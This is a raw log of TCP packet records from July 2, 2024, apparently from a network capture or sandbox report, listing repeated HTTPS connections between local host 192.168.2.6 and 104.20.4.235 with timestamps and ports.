Jul 2, 2024 16:32:01.412671089 CEST	443	54917	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:01.414657116 CEST	54917	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:01.414675951 CEST	443	54917	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:01.560568094 CEST	443	54917	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:01.560822964 CEST	443	54917	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:01.560889959 CEST	54917	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:01.562510967 CEST	54917	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:01.564737082 CEST	54918	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:01.564765930 CEST	443	54918	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:01.564824104 CEST	54918	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:01.565218925 CEST	54918	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:01.565229893 CEST	443	54918	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.065474033 CEST	443	54918	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.067537069 CEST	54918	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.067564011 CEST	443	54918	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.218101978 CEST	443	54918	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.218327045 CEST	443	54918	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.218390942 CEST	54918	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.219713926 CEST	54918	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.223237991 CEST	54919	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.223282099 CEST	443	54919	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.223373890 CEST	54919	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.223968983 CEST	54919	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.223982096 CEST	443	54919	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.690623045 CEST	443	54919	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.692243099 CEST	54919	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.692264080 CEST	443	54919	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.824465036 CEST	443	54919	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.824594021 CEST	443	54919	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.824759960 CEST	54919	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.826749086 CEST	54919	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.830759048 CEST	54920	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.830805063 CEST	443	54920	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:02.830899000 CEST	54920	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.831623077 CEST	54920	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:02.831638098 CEST	443	54920	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.318089962 CEST	443	54920	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.319915056 CEST	54920	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:03.319936991 CEST	443	54920	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.450879097 CEST	443	54920	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.451023102 CEST	443	54920	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.451076031 CEST	54920	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:03.451693058 CEST	54920	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:03.453159094 CEST	54921	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:03.453195095 CEST	443	54921	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.453257084 CEST	54921	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:03.453541994 CEST	54921	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:03.453555107 CEST	443	54921	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.951291084 CEST	443	54921	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:03.952688932 CEST	54921	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:03.952708960 CEST	443	54921	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.094110012 CEST	443	54921	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.094249010 CEST	443	54921	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.094329119 CEST	54921	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.094872952 CEST	54921	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.096276999 CEST	54922	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.096302032 CEST	443	54922	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.096368074 CEST	54922	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.096637011 CEST	54922	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.096647978 CEST	443	54922	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.583014965 CEST	443	54922	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.584367990 CEST	54922	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.584384918 CEST	443	54922	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.740551949 CEST	443	54922	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.741550922 CEST	443	54922	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.741808891 CEST	54922	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.742168903 CEST	54922	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.744771957 CEST	54923	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.744812012 CEST	443	54923	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:04.744889021 CEST	54923	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.745196104 CEST	54923	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:04.745208025 CEST	443	54923	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.231997967 CEST	443	54923	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.233941078 CEST	54923	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:05.233962059 CEST	443	54923	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.382317066 CEST	443	54923	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.382433891 CEST	443	54923	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.382478952 CEST	54923	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:05.383066893 CEST	54923	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:05.384251118 CEST	54924	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:05.384285927 CEST	443	54924	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.384344101 CEST	54924	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:05.384749889 CEST	54924	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:05.384761095 CEST	443	54924	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.885468006 CEST	443	54924	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:05.887061119 CEST	54924	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:05.887079954 CEST	443	54924	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.025238037 CEST	443	54924	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.025324106 CEST	443	54924	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.025372982 CEST	54924	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.026041031 CEST	54924	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.027939081 CEST	54925	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.027992010 CEST	443	54925	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.028055906 CEST	54925	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.028351068 CEST	54925	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.028366089 CEST	443	54925	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.516735077 CEST	443	54925	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.517986059 CEST	54925	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.517996073 CEST	443	54925	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.671478033 CEST	443	54925	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.671586037 CEST	443	54925	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.671710968 CEST	54925	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.672413111 CEST	54925	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.676765919 CEST	54926	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.676819086 CEST	443	54926	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:06.676942110 CEST	54926	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.677187920 CEST	54926	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:06.677198887 CEST	443	54926	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.175678968 CEST	443	54926	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.177944899 CEST	54926	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.177961111 CEST	443	54926	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.328434944 CEST	443	54926	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.328533888 CEST	443	54926	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.328577995 CEST	54926	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.329154015 CEST	54926	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.330390930 CEST	54927	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.330419064 CEST	443	54927	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.330482006 CEST	54927	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.330693960 CEST	54927	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.330702066 CEST	443	54927	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.807126999 CEST	443	54927	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.808634996 CEST	54927	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.808648109 CEST	443	54927	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.936342001 CEST	443	54927	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.936444044 CEST	443	54927	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.936496019 CEST	54927	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.937169075 CEST	54927	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.938498020 CEST	54928	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.938530922 CEST	443	54928	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:07.938591957 CEST	54928	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.938957930 CEST	54928	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:07.938971996 CEST	443	54928	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:08.424298048 CEST	443	54928	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:08.428755999 CEST	54928	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:08.428771973 CEST	443	54928	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:08.576133013 CEST	443	54928	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:08.576474905 CEST	443	54928	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:08.577073097 CEST	54928	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:08.577073097 CEST	54928	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:08.580756903 CEST	54929	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:08.580811977 CEST	443	54929	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:08.585031986 CEST	54929	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:08.586193085 CEST	54929	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:08.586219072 CEST	443	54929	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.058464050 CEST	443	54929	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.065382004 CEST	54929	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.065419912 CEST	443	54929	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.207653046 CEST	443	54929	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.207725048 CEST	443	54929	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.207926989 CEST	54929	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.208759069 CEST	54929	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.209528923 CEST	54930	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.209563017 CEST	443	54930	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.209727049 CEST	54930	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.212754011 CEST	54930	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.212768078 CEST	443	54930	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.713907003 CEST	443	54930	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.715706110 CEST	54930	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.715744019 CEST	443	54930	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.868108034 CEST	443	54930	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.868201017 CEST	443	54930	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.868243933 CEST	54930	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.868951082 CEST	54930	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.870366096 CEST	54931	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.870409966 CEST	443	54931	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:09.870465040 CEST	54931	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.870770931 CEST	54931	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:09.870788097 CEST	443	54931	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.340620041 CEST	443	54931	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.342766047 CEST	54931	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:10.342778921 CEST	443	54931	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.480848074 CEST	443	54931	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.480957031 CEST	443	54931	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.484853029 CEST	54931	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:10.485204935 CEST	54931	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:10.488751888 CEST	54932	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:10.488790989 CEST	443	54932	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.488928080 CEST	54932	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:10.492757082 CEST	54932	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:10.492769003 CEST	443	54932	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.978380919 CEST	443	54932	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:10.980763912 CEST	54932	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:10.980782032 CEST	443	54932	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.134152889 CEST	443	54932	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.134234905 CEST	443	54932	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.134460926 CEST	54932	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.136754036 CEST	54932	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.136759043 CEST	54933	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.136804104 CEST	443	54933	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.136935949 CEST	54933	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.137172937 CEST	54933	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.137185097 CEST	443	54933	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.600691080 CEST	443	54933	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.602509975 CEST	54933	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.602521896 CEST	443	54933	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.746503115 CEST	443	54933	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.746606112 CEST	443	54933	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.746655941 CEST	54933	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.747322083 CEST	54933	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.748816967 CEST	54934	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.748850107 CEST	443	54934	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:11.748919010 CEST	54934	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.749187946 CEST	54934	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:11.749200106 CEST	443	54934	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.225106001 CEST	443	54934	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.226749897 CEST	54934	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:12.226766109 CEST	443	54934	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.377131939 CEST	443	54934	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.377244949 CEST	443	54934	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.377418041 CEST	54934	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:12.380750895 CEST	54935	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:12.380760908 CEST	54934	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:12.380795002 CEST	443	54935	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.384825945 CEST	54935	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:12.385214090 CEST	54935	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:12.385236025 CEST	443	54935	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.857120037 CEST	443	54935	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:12.864754915 CEST	54935	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:12.864772081 CEST	443	54935	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.010613918 CEST	443	54935	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.010693073 CEST	443	54935	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.013360023 CEST	54935	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.013360023 CEST	54935	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.016752958 CEST	54936	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.016793013 CEST	443	54936	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.020936012 CEST	54936	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.024749041 CEST	54936	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.024764061 CEST	443	54936	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.501924038 CEST	443	54936	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.503776073 CEST	54936	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.503804922 CEST	443	54936	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.654889107 CEST	443	54936	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.654967070 CEST	443	54936	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.655040979 CEST	54936	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.655901909 CEST	54936	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.657371044 CEST	54937	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.657413960 CEST	443	54937	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:13.657572031 CEST	54937	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.657740116 CEST	54937	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:13.657756090 CEST	443	54937	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.144576073 CEST	443	54937	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.146346092 CEST	54937	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.146358967 CEST	443	54937	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.288320065 CEST	443	54937	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.288438082 CEST	443	54937	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.288496017 CEST	54937	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.289160967 CEST	54937	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.290514946 CEST	54938	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.290545940 CEST	443	54938	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.290618896 CEST	54938	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.290904045 CEST	54938	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.290915966 CEST	443	54938	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.779161930 CEST	443	54938	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.782814026 CEST	54938	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.782833099 CEST	443	54938	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.921268940 CEST	443	54938	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.921415091 CEST	443	54938	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.925398111 CEST	54938	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.925398111 CEST	54938	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.928755999 CEST	54939	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.928827047 CEST	443	54939	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:14.932852983 CEST	54939	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.936825991 CEST	54939	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:14.936861038 CEST	443	54939	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:15.421269894 CEST	443	54939	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:15.422946930 CEST	54939	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:15.422985077 CEST	443	54939	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:15.558064938 CEST	443	54939	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:15.558176994 CEST	443	54939	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:15.558222055 CEST	54939	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:15.558813095 CEST	54939	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:15.560518026 CEST	54940	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:15.560548067 CEST	443	54940	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:15.560746908 CEST	54940	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:15.561049938 CEST	54940	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:15.561064959 CEST	443	54940	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.044086933 CEST	443	54940	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.045701981 CEST	54940	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.045717001 CEST	443	54940	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.310910940 CEST	443	54940	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.311002970 CEST	443	54940	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.311072111 CEST	54940	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.312057972 CEST	54940	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.313395023 CEST	54941	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.313447952 CEST	443	54941	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.313512087 CEST	54941	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.313865900 CEST	54941	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.313883066 CEST	443	54941	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.796354055 CEST	443	54941	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.797765017 CEST	54941	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.797791004 CEST	443	54941	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.946459055 CEST	443	54941	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.946548939 CEST	443	54941	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.948930025 CEST	54941	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.951482058 CEST	54941	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.952756882 CEST	54942	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.952800989 CEST	443	54942	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:16.953052044 CEST	54942	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.953397989 CEST	54942	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:16.953418016 CEST	443	54942	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:17.423619986 CEST	443	54942	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:17.425249100 CEST	54942	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:17.425273895 CEST	443	54942	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:17.586791039 CEST	443	54942	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:17.586883068 CEST	443	54942	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:17.586939096 CEST	54942	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:17.587591887 CEST	54942	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:17.589092016 CEST	54943	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:17.589124918 CEST	443	54943	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:17.589210033 CEST	54943	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:17.589523077 CEST	54943	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:17.589534998 CEST	443	54943	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.057419062 CEST	443	54943	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.059202909 CEST	54943	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.059216022 CEST	443	54943	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.218662024 CEST	443	54943	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.218743086 CEST	443	54943	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.218799114 CEST	54943	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.219487906 CEST	54943	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.220815897 CEST	54944	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.220864058 CEST	443	54944	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.220936060 CEST	54944	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.221188068 CEST	54944	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.221199989 CEST	443	54944	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.751952887 CEST	443	54944	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.753703117 CEST	54944	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.753726959 CEST	443	54944	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.892052889 CEST	443	54944	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.892139912 CEST	443	54944	104.20.4.235	192.168.2.6
Jul 2, 2024 16:32:18.892263889 CEST	54944	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.892849922 CEST	54944	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.897531033 CEST	54945	443	192.168.2.6	104.20.4.235
Jul 2, 2024 16:32:18.897579908 CEST	443	54945	104.20.4.235	192.168.2.6
